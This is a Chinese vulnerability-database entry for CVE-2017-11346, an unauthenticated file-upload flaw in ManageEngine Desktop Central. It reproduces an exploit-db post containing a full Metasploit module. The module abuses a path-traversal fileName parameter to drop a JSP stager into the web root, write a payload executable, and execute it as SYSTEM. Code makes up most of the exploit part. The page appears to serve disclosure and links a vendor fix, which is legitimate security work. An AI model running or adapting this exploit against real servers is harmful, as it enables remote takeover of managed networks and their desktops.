Zoho ManageEngine Desktop Central 安全漏洞

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漏洞ID 1124121 漏洞类型 输入验证
发布时间 2017-07-24 更新时间 2017-07-25
CVE编号 CVE-2017-11346 CNNVD-ID CNNVD-201707-766
漏洞平台 Java CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/42358
https://cxsecurity.com/issue/WLB-2017070168
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201707-766
|漏洞详情
ZOHOManageEngineDesktopCentral(DC)是美国卓豪(ZOHO)公司的一套桌面管理解决方案。该方案包含软件分发、补丁管理、系统配置、远程控制等功能模块,可对桌面机以及服务器管理的整个生命周期提供支持。ZohoManageEngineDCbuild100092之前的版本中存在安全漏洞。远程攻击者可利用该漏洞执行任意代码。
|漏洞EXP
# Exploit Title: ManageEngine Desktop Central 10 Build 100087 RCE
# Date: 24-07-2017
# Software Link: https://www.manageengine.com/products/desktop-central/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# CVE: CVE-2017-11346
# Category: remote
 
1. Description
   
When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
 
https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html
   
2. Proof of Concept
 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled
        fileName parameter. This allows a remote attacker to create a malicious file and place
        it under a directory that allows server-side scripts to run,
        which results in remote code execution under the context of SYSTEM.

        This exploit was successfully tested on version 10, build 100087.

        Exploit code based on https://www.exploit-db.com/exploits/38982/
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Kacper Szurek' ],
      'References'     =>
        [
          [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'ManageEngine Desktop Central 10 on Windows', {} ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "July 24 2017",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
        Opt::RPORT(8020)
      ], self.class)
  end

  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

    {
      jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
      jsp_name:    jsp_fname
    }
  end

  def get_build_number(res)
    inputs = res.get_hidden_inputs
    inputs.first['buildNum']
  end

  def get_html_title(res)
    html = res.body
    n = ::Nokogiri::HTML(html)
    x = n.xpath('//title').text
  end

  def check
    uri = normalize_uri(target_uri.path, '/configurations.do')

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    build_number = get_build_number(res)
    if build_number.to_s.empty?
      print_error("Cannot find build number")
    else
      print_status("Found build number: #{build_number}")
    end
    
    html_title   = get_html_title(res)

    if html_title.to_s.empty?
      print_error("Cannot find title")
    else
      print_status("Found title: #{html_title}")
    end
   
    if build_number.to_i <= 100087
      return Exploit::CheckCode::Appears
    elsif /ManageEngine Desktop Central 10/ === html_title
      return Exploit::CheckCode::Detected
    end


    Exploit::CheckCode::Safe
  end

  def upload_jsp(stager_info)
    uri = normalize_uri(target_uri.path, 'fileupload')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'     => uri,
      'ctype'     => 'application/octet-stream',
      'encode_params' => false,
      'data'      => stager_info[:jsp_payload],
      'vars_get'    => {
        'action'    => 'HelpDesk_video',
        'computerName'  => Rex::Text.rand_text_alpha(rand(10)+5),
        'resourceId'  => 1,
        'customerId'  => 1,
        'fileName'    => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
      }
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
  end

  def exec_jsp(stager_info)
    uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
    end
  end

  def exploit
    print_status("Creating JSP stager")
    stager_info = get_jsp_stager

    print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
    upload_jsp(stager_info)

    print_status("Executing stager...")
    exec_jsp(stager_info)
  end

end
   
3. Solution:
   
https://www.manageengine.com/products/desktop-central/remote-code-execution.html
|参考资料

来源:CONFIRM
链接:https://www.manageengine.com/products/desktop-central/remote-code-execution.html